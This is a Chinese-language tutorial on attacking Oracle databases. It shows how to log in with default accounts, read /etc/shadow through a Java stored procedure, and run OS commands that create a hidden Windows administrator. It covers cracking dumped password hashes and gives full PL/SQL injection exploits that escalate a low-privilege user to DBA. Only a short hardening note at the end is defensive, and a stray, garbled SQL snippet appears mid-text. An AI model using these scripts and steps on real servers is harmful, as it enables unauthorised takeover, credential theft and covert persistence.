文档库 最新最全的文档下载
当前位置:文档库 › ORACLE直连数据库注入提权详解

ORACLE直连数据库注入提权详解

?----------------------- Page 1-----------------------

linux windows 系统直连Oracle 数据库注入提权 修复详解

作者:菜牛

到约镐通知,刚好正研究ORACLE 课题,而国内网上相关主题不是很多,所以就写了此
文,本文详细演示了针对linux 和windows 两种主流操作系统的ORACLE 提权过程,希望
对想了解ORACLE 但又不知道从何入手的朋友有帮助。对于管理员来说,也可以参考此文

看自己的数据库有否存在文中漏洞。

ORACLE 数据库简介:

ORACLE 是以高 结构化查询语言(SQL)为基础的大型关系数据库,它使用 SQL(Structured
guery language)作为它的数据库语言。SQL 主要包括数据定义、数据操纵(包括查询)和数
据控制等三方面功能。SQL 是一种非过程化程度很高的语言,用户只需说明"干什么"而无需
具体说明"怎么干"语言简洁、使用方便功能强大,集联机交互与嵌入于一体,能适应广泛的
使用环境。

由于ORACLE 数据库在设置、使用、维护、备份过程的技术要求相对其他数据库要高,需
要专业的ORACLE 数据库工程师来操作,所以使用ORACLE 数据库的客户一般都是大型企
业,如ISP、交通、通讯、金融等等,所以为了避免遭受攻击,ORACLE 管理员的安全设置,
起到了关 作用。

ORACLE 数据库有强大的存储功能,操作过程复杂,安全方面在10G 以上版本得到很大改
善,所以很多管理员,都没做安全检测测试,这就为攻击者提供了入侵机会。

那攻击者是如何入侵ORACLE 数据库的呢?不要着急,慢慢听我道来 ..

===========================传说中的分割线=============================

准备工具:
ORACLE 数据库口令扫描工具,网上有几种,自己可以根据喜好选择
1 Python 脚本的oracle.pl
2 俄罗斯的软件COSS,GUI 界面的GOSS
3 Oracle 字符集扫描工具
4 需要PERL 支持的tnscmd.pl

环境:需要安装ORACLE 客户端,LINUX 操作系统或WINDOWS 系统都可以。
===========================传说中的分割线=============================

----------------------- Page 2-----------------------

下面是对ORACLE 数据库安全检测步骤:

要连接一台ORACLE 数据库服务器,我们要知道服务器的IP 地址、用户名、密码、数据库
名(SID ),IP 地址PING 下域名可以获得,用户,密码,SID 用上面提到的扫描工具,就可
以获得。这里说说默认用户和密码,ORACLE 的默认用户和密码很多都是一样的,如:
DBSNMP/DBSNMP,MDSYS/MDSYS,AQUSER/AQUSER 等有上百个,这是其他数据库
没有的,可见其的复杂。SYS 和SYSTEM 这两个用户是数据库DBA 权限用户(数据库管
理员权限),10G 以上版本安装后会提示修改,但

也有很多马虎的管理员没修改,这就等于
为攻击者开了一扇大门。

经过本人测试总结,DBSNMP/DBSNMP 在70%的8i-9i 的版本上都可以登陆,这就带来了
安全隐患,因为DBSNMP 用户可以读 用户密码表,这样攻击者只要把MD5 加密的16 位
HASH 值破解,就能拿到DBA 权限。
===========================传说中的分割线=============================
实例一:LINUX 服务器读取SHADOW 密码表
我们用扫描工具扫描IP,确定了服务器开启1521 端口,这个是ORACLE 的监听端口
图一

我们用PERL 脚本的TNSCMD 来扫描主机系统,数据库版本,和SID,我们得到信息,此服
务器是LINUX 系统,数据库版本是9.2.0.4.0,数据库名是ose
图二图三

----------------------- Page 3-----------------------

用ORACLE 客户端连接,这里使用的默认用户SCOTT,
命令语句:sqlplus scott/tiger@//ip:1521/ose
图四

----------------------- Page 4-----------------------

连接上后,我们可以来尝试执行SQL 命令脚本,脚本成功执行后,我们获得了用户及对应
的SHELL 目录列表。命令:#@/linux.sql
图五

---








CREATE TABLE files(id NUMBER PRIMARY KEY,path VARCHAR(255)UNIQUE,ot_format VARCHAR(6));

INSERT INTO files VALUES(1,''\\1192.168.\mickey'',NULL);

CREATE INDEX file_index ON files(path) INDEXTYPE IS ctxsys.context2 PARAMETERS(''datastore ctxsys.file_datastore format column ot_format'');






















-------------------- Page 5-----------------------

附linux.sql 脚本代码:

--code

set serveroutput on
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADFILE"
AS
import https://www.wendangku.net/doc/797633915.html,ng.*;

----------------------- Page 6-----------------------

import java.io.*;
public class JAVAREADFILE
{
public static void readfile(String filename) throws IOException
{
FileReader f = new FileReader(filename);
BufferedReader fr = new BufferedReader(f);
String text = fr.readLine();
while(text != null)
{

System.out.println(text);
text = fr.readLine();
}
fr.close();
}
}
/
CREATE OR REPLACE PROCEDURE JAVAREADFILEPROC (p_filename IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVAREADFILE.readfile(https://www.wendangku.net/doc/797633915.html,ng.String)';

/
exec dbms_java.set_output(5000);
grant javasyspriv to system;
grant javauserpriv to system;
exec JAVAREADFILEPROC('/etc/passwd')
--code

得到用户,那怎么样才能得到密码列表呢?

我们输入命令:exec :javareadfileproc(‘/etc/shadow’); 然后执行,呵呵,我们得到了密码表

图六

----------------------- Page 7-----------------------

我们可以把经过特殊加密的密码值复制下来,转换成普通MD5 值,然后就可以用彩虹表破
解密码了,得到ROOT 和密码,然后SSH 连接。

===========================传说中的分割线============================

=

----------------------- Page 8-----------------------

实例二:WINDOWS 服务器获得完全控制权,远程终端登陆,破解系统管理员密码

扫描服务器端口,扫描服务器系统类型,数据库版本,用户,密码,SID 这两步参考图一图
二图三。
下面我们连接WINDOWS 系统的ORACLE 数据库
图七

执行windows.sql
图八

附:windows.sql 脚本代码:

--code
create or replace and compile
java souRCe named "util"
as
import j ava.io.*;

----------------------- Page 9-----------------------

import j https://www.wendangku.net/doc/797633915.html,ng.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try

{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer

, 0, bufSize)) != -1)

System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{

return RC;
}
}
}
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(j https://www.wendangku.net/doc/797633915.html,ng.String) return integer';

/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);

----------------------- Page 10-----------------------

end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;
exec :x:=run_cmz('net1 user');

--code

脚本执行成功,然后我们来创建用户,
命令:
exec :x:=run_cmz(‘net1 user test nzhack /add’);
exec :x:=run_cmz(‘net1 localgroup administrators nzhack /add’);

好,显示我们已经成功创建管理员用户nzhack
图九,图十

我们再查看一下,原来已经开启了3389 端口,可以远程终端连接
图十一

然后用rdesktop 连接,成功登陆。

图十二
图十三

----------------------- Page 11-----------------------

到此,已经实现了测试的目的,在得到服务器后,各人都有各人的喜好,有朋友喜欢克隆帐
号,有朋友喜欢放远控,有朋友喜欢修改注册表或放VBS 脚本,创建不死帐号等等。我个

----------------------- Page 12-----------------------

人就比较喜欢直接获 管理员的密码,这样一来省事,二来不容易被发现,因为3389 登陆
后,在C:\Documents and Settings 目录下会创建相应的目录,用其他用户登陆后,管理员看
到有可疑的目录,就容易发现。
要准备好彩虹表,700M 的(包含14 位以下字母加数字)最好是7G 的(包含14 位以下字
母加数字加特殊符号),还有pwdump 工具。
下面说说方法:


在远程桌面连接里,用IE 下载pwdump,解压后复制到C 盘,
然后指令:pwdump7 >pass.txt
图十四

得到的密码HASH 值,我们可以用ophcrack 配合彩虹表来破
图十五

----------------------- Page 13-----------------------

数字加字母的密码用700M 彩虹表只用15 秒就破出来了,如果是特殊符号的,用7G 彩虹
表一般20 分钟左右,如果CPU 快和内存多,时 会更短。了解此方法后,大家是否有些心
动呢,呵呵

===========================传说中的分割线=============================

ORACLE 低权限用户提权方法:

【漏洞名称】 sys.dbms_export_extension.get_domain_index_metadata 提升权限漏洞

【影响平台】 Oracle 8i / 9i / 10g / XE

【风险等 】 高

【攻击需求】 较低权限账号

【造成危害】 得管理员权限

----------------------- Page 14-----------------------

【内容描述】

Oracle Database Server 8.1.7.4, 9.0.1.5, 9.2.0.7, 10.1.0.5 及其他版本可以允许远端攻击者执行任意SQL 命令,

由于DBMS_EXPORT_EXTENSION package 中的GET_DOMAIN_INDEX_METADATA 程序存在漏洞远端

攻击者可以送出特殊建立的SQL 命令来提升权限以及新增,修改,删除数据库。

【测试代码】

1、用scott/tiger 登陆Oracle,scott 是oracle 内建用户,权限较低,通过执行特殊参数的命令可以提升为DBA。

sqlplus scott/tiger@orcl

2、查询scott 的当前角色

SQL> select * from session_roles;

ROLE

------------------------------------------------------------

CONNECT

RESOURCE

可以看到scott 只有CONNECT 和RESOURCE 两个权限较低的角色

3、利用漏洞执行权限提升

SQL>

-- Create a function in a package first and inject this function. The function will be executed as user SYS.

CREATE OR REPLACE

PACKAGE HACKERPACKAGE AUTHID CURRENT_USER

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env

SYS.odcienv)

RETURN NUMBER;

END;

/

CREATE OR REPLACE PACKAGE BODY HACKERPACKAGE

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env

SYS.odcienv)

RETURN NUMBER

IS

pragma autonomous_transaction;

BEGIN

EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';

COMMIT;

RETURN(1);

END;

END;

/

-- Inject the function in dbms_export_extension

DECLARE

INDEX_NAME VARCHAR2(200);

INDEX_SCHEMAVARCHAR2(200);

TYPE_NAME VARCHAR2(200);

TYPE_SCHEMA VARCHAR2(200);

VERSION VARCHAR2(200);

NEWBLOCK PLS_INTEGER;

GMFLAGS NUMBER;

v_Return VARCHAR2(200);

BEGIN

INDEX_NAME := 'A1';

INDEX_SCHEMA := 'SCOTT';

TYPE_NAME := 'HACKERPACKAGE';

TYPE_SCHEMA := 'SCOTT';

VERSION := '9.2.0.1.0';

GMFLAGS := 1;

v_Return := SYS.DBMS_EXPORT_EXTENSION.G

ET_DOMAIN_INDEX_METADATA(INDEX_NAME =>

INDEX_NAME,

INDEX_SCHEMA => INDEX_SCHEMA,

TYPE_NAME => TYPE_NAME,

TYPE_SCHEMA => TYPE_SCHEMA,

VERSION => VERSION,

NEWBLOCK => NEWBLOCK,

GMFLAGS => GMFLAGS);

END;

/

sqlplus 中显示"PL/SQL procedure successfully completed",提升权限成功。

4、断开连接

SQL> disc;

----------------------- Page 16-----------------------

5、重新连接

SQL> conn scott/tiger@orcl;

6、再次查询scott 的当前角色

SQL> select * from session_roles;

ROLE

------------------------------------------------------------

CONNECT

RESOURCE

DBA

SELECT_CATALOG_ROLE

HS_ADMIN_ROLE

EXECUTE_CATALOG_ROLE

DELETE_CATALOG_ROLE

EXP_FULL_DATABASE

IMP_FULL_DATABASE

GATHER_SYSTEM_STATISTICS

WM_ADMIN_ROLE

ROLE

------------------------------------------------------------

JAVA_ADMIN

JAVA_DEPLOY

XDBADMIN

OLAP_DBA

已选择15行。

看到权限已经提升为DBA

【修补方式】

参考Oracle Critical Patch Update - April 2006,执行修补.

===========================传说中的分割线=============================

【漏洞名称】 sys.dbms_metadata.get_ddl 提升权限漏洞

【影响平台】 Oracle 9i / 10g

【风险等 】 高

----------------------- Page 17-----------------------

【攻击需求】 较低权限账号

【造成危害】 得管理员权限

【内容描述】

Oracle Database server 9.2.0.7 and 10.1.0.5 存在SQL 注入弱点, sys.dbms_metadata.get_ddl 允许用户以DBA

权限执行命令,通过验证的用户可以利用此弱点 得管理员权限。

【测试代码】

1、用scott/tiger 登陆Oracle,scott 是oracle 内建用户,权限较低,通过执行特殊参数的命令可以提升为DBA。

sqlplus scott/tiger@orcl

2、查询scott 的当前角色

SQL> select * from session_roles;

ROLE

------------------------------------------------------------

CONNECT

RESOURCE

可以看到scott 只有CONNECT 和RESOURCE 两个权限较低的角色

3、利用漏洞执行权限提升,在SQLPlus 中执行如下语句:

SQL>

-- Create a function first and inject this function. The function will be executed as user SYS.

CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2

authid current_user as

pragma autonomous_transaction;

BEGIN

EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';

COMMIT;

RETURN '';

END;

/

-- Inject the function in the vulnerable procedure

SELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACK_FUNC()||''','') FROM dual;

----------------------- Page 18-----------------------

错误:

ORA-31600: invalid input value '||SCOTT.ATTACK_FUNC()||' for parameter OBJECT_TYPE in function

GET_DDL

ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105

ORA-06512: a

t "SYS.DBMS_METADATA_INT", line 1536

ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900

ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606

ORA-06512: at "SYS.DBMS_METADATA", line 504

ORA-06512: at "SYS.DBMS_METADATA", line 560

ORA-06512: at "SYS.DBMS_METADATA", line 1221

ORA-06512: at line 1

4、断开连接

SQL> disc;

5、重新连接

SQL> conn scott/tiger@orcl;

6、再次查询scott 的当前角色

SQL> select * from session_roles;

ROLE

------------------------------------------------------------

CONNECT

RESOURCE

DBA

SELECT_CATALOG_ROLE

HS_ADMIN_ROLE

EXECUTE_CATALOG_ROLE

DELETE_CATALOG_ROLE

EXP_FULL_DATABASE

IMP_FULL_DATABASE

GATHER_SYSTEM_STATISTICS

WM_ADMIN_ROLE

ROLE

------------------------------------------------------------

JAVA_ADMIN

JAVA_DEPLOY

----------------------- Page 19-----------------------

XDBADMIN

OLAP_DBA

已选择15行。

看到权限已经提升为DBA

【修补方式】

Revoke the grants or apply the patches mentioned in Oracle Critical Patch Update April 2005.

日常修补小结:
扫描检测一下自己的数据库有否存在激活状态的默认用户,自己新创建的用户和密码尽量不
要一样,有的扫描工具就是通过用户表来探测的,就算你帐号是自己创建的,经过我的实践
如果新创建的用户和密码一样的话,也会被探测的出来的。
给SYS 和SYSTEM 用户设置一个比较复杂的密码,其他一般用户都设置为到期(EXPIRED )
或者锁定(LOCKED ),修改DBSNMP,SCOTT 密码,按需分配授权,把无关的授权撤消。

好了,本文到此就结束了。谢谢大家耐心浏览到这里,以上是个人经验及观点,难免有错漏,
望谅解。

相关文档
相关文档 最新文档